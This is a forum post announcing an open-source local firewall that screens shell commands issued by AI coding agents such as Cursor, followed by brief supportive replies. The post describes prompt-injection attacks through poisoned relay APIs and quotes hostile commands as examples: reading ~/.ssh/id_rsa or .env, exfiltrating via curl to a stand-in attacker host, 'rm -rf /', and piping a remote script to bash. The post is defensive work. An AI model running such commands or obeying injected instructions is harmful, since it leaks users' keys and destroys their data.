Sign up Log in
n/ai · 16d ago · Edited · 278 views
u/TigerSilver
n/aiu/Tiger · 16d ago

[Open Source] Stop proxy API poisoning and malicious execution! A local zero-trust command firewall built for Cursor / OpenCode / AI Agents (protects your local source code and keys)

Cerberus AI Agent Firewall Banner

Hey everyone!

With autonomous coding agents like Cursor, Cline, and OpenCode becoming mainstream, a lot of folks here plug in various third-party relay APIs (One-API / New-API / cheap free-tier sites / assorted group-buy pools) to save money.

Cheap and hassle-free, sure — but a lot of people overlook one really nasty security gap:
These autonomous agents have real permission to invoke the system shell and read/write local files. The moment an upstream relay model gets maliciously poisoned (prompt injection), or an upstream node gets compromised, the agent could silently run high-risk commands on your machine or server!

To deal with this, I hacked together and open-sourced a lightweight local zero-trust security gateway — Cerberus (local command firewall for AI agents). The code is fully open source, makes no external network requests, and runs 100% locally on 127.0.0.1.


🚨 Common relay API poisoning and jailbreak risks

  1. Silent credential theft: The model gets tricked into quietly reading your local ~/.ssh/id_rsa, .env, or DB config and exfiltrating it via curl -d @.env http://attacker-collector.xyz.
  2. Destructive command execution: The upstream feeds it obfuscated system instructions (e.g. rm -rf /, or silently reformatting disks or tampering with the hosts file on Windows).
  3. Malicious dependency installs: Disguised as "fixing a dependency issue," it talks the agent into running an unknown remote script — curl | bash.

🛡️ How Cerberus protects your local environment

Cerberus sits like a transparent firewall between the AI agent and your local OS:

  • Zero external dependencies (zero-trust): Pure local Node.js, no telemetry, no external uploads — your private code and keys never leave the machine.
  • Millisecond full-spectrum risk scoring (0-100): Real-time scoring across multiple dimensions — high-risk path filtering, destructive command regexes, external data exfiltration detection, and more.
  • Tiered handling:
    • ALLOW: Normal dev commands (git status, npm run build, cargo test) pass through in milliseconds, completely seamless.
    • AUDIT: Low-risk operations get written to a local audit log for later review.
    • HOLD: Sensitive operations (like bulk directory changes or writing sensitive config) are paused, and a prompt pops up in the terminal/web console — you press y to approve.
    • BLOCK: Critical commands (deleting the system root, accessing private keys) are blocked in seconds and the model gets a permission-denied response.
  • Local monitoring dashboard: Ships with a ready-to-use web panel (http://127.0.0.1:8787) so you can watch every move the agent makes in real time.

🚀 Quick deployment

Requirements: Node.js >= 20, git

# 1. Clone the repo
git clone https://github.com/03viceboll/ai-agent-firewall.git
cd ai-agent-firewall

# 2. Install dependencies
npm install

# 3. Start the guard engine (Windows: double-click start-engine.bat; Linux/macOS: ./start-engine.command)
node bin/cerberus.mjs start

📂 Repository

👉 GitHub: https://github.com/03viceboll/ai-agent-firewall

Licensed under Apache-2.0, fully transparent code. You're all welcome to review it, drop a Star ⭐️, or send suggestions! If you're worried about local security while messing with various relay APIs, I'd recommend keeping this little tool running — it's a lot more peace of mind. And if you've run into any weird commands from agents in daily use, feel free to share them in this thread~

Translated by AI from 简体中文

5
8
Log into join the discussion.
QuicksilverVPN

快银 VPN,一键连接全球节点,线路稳定、延迟低。支持 Windows、macOS 等多平台,TUN 全局模式覆盖全部应用流量。无需复杂配置,下载即用。

umami.dnsl.top Learn more

8 replies

Sort order
  1. yorushika Diamond 16d ago

    You have my support, boss :04-moyu:

    Translated by AI from 简体中文

    0
  2. Cavalier Silver 16d ago

    Thanks for sharing

    Translated by AI from 简体中文

    0
  3. Tiger Silver OP 14d ago

    Thanks for the support, everyone! If you run into any false positives with the rules, or have blocking patterns you think should be added while using Cursor or other agents through third-party proxies, feel free to share anytime~

    Translated by AI from 简体中文

    0
  4. shaoyuannuo Gold 3 YEARS 14d ago

    Go check out this project.

    Translated by AI from 简体中文

    0
  5. Tiger Silver OP 14d ago

    Welcome aboard! If you run into false positives while using it day to day with agents like Cursor / OpenCode, or if you have suggestions for useful command-blocking rules, feel free to share anytime — we'll keep updating and improving it going forward~

    Translated by AI from 简体中文

    0
  6. mikasu Silver 3 YEARS 14d ago

    Looks pretty nice — I've been wanting a tool like this for a while, but making one myself felt like too much hassle.
    Thanks for sharing, mate

    Translated by AI from 简体中文

    0
  7. Tiger Silver OP 12d ago

    @mikasu Haha, glad I could help! And thanks a lot for the tip, really appreciate it! If you run into any false positives with the rules later, or think some commonly used dangerous commands should be added to the default blocklist, just hit me up anytime~

    Translated by AI from 简体中文

    0
  8. zzhzhou Silver 3 YEARS 13d ago

    Thanks for sharing

    Translated by AI from 简体中文

    0